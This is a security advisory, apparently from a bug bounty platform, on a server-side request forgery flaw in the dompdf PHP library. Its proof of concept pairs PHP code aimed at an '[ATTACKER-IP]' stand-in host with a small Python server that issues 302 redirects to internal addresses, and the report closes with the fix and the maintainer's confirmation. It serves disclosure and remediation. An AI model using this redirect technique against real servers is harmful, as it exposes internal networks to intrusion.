Server-Side Request Forgery (SSRF) in dompdf/dompdf


Reported on

Jan 2nd 2022


DomPDF uses file_get_contents to obtain HTTP files when allow_url_fopen is "On". On default contexts, file_get_contents will redirect whenever served with a 302 response. When developers use DomPDF with isRemoteEnabled set to "true" and allow_url_fopen set to "true", but restrict IP addresses via a deny list, it is possible for an attacker to pass in a URL which passes this deny list but serves a 302 redirect response to a restricted IP address. When this URL enters dompdf, file_get_contents() will both follow the redirection and cause an SSRF vulnerability.

Proof of Concept - allow_url_fopen is turned on



//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/'; 

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);

if ($ip !== "") {
   $dompdf->setPaper('A4', 'landscape'); 

?> - hosted on "http://[ATTACKER-IP]

#!/usr/bin/env python3

#python3 80

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_header('Location', sys.argv[2])

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Result -

root@test:/home/test# python3 -m http.server 8000
Serving HTTP on port 8000 ( ... - - [02/Jan/2022 05:38:20] "GET / HTTP/1.0" 200 - - - [02/Jan/2022 05:38:31] "GET / HTTP/1.0" 200 -


On default contexts, when a developer wants to allow remote fetching in DomPDF but implements deny lists for private IP addresses, then an attacker can easily bypass the deny list by hosting a server with a 302 redirect response to an internal IP address. DomPDF will follow the redirection to the private IP address. (SSRF)

Recommended Fix

Disable file_get_contents redirection in the default context, since curl already disables it by default, this can be done by easily replacing the following default context at with

stream_context_create(['http' => ['follow_location' => false]]);
We are processing your report and will contact the dompdf team within 24 hours. 2 years ago
haxatron modified the report
2 years ago
We have contacted a member of the dompdf team and are waiting to hear back 2 years ago
dompdf/dompdf maintainer validated this vulnerability 2 years ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
dompdf/dompdf maintainer
2 years ago

I implemented the suggested change within the following batch of commits:

I'm also thinking of adding a section to the "Securing Dompdf" document regarding the importance of sanitizing (untrusted) user input.

2 years ago



dompdf/dompdf maintainer marked this as fixed in 2.0.0 with commit bb1ef6 2 years ago
The fix bounty has been dropped
to join this conversation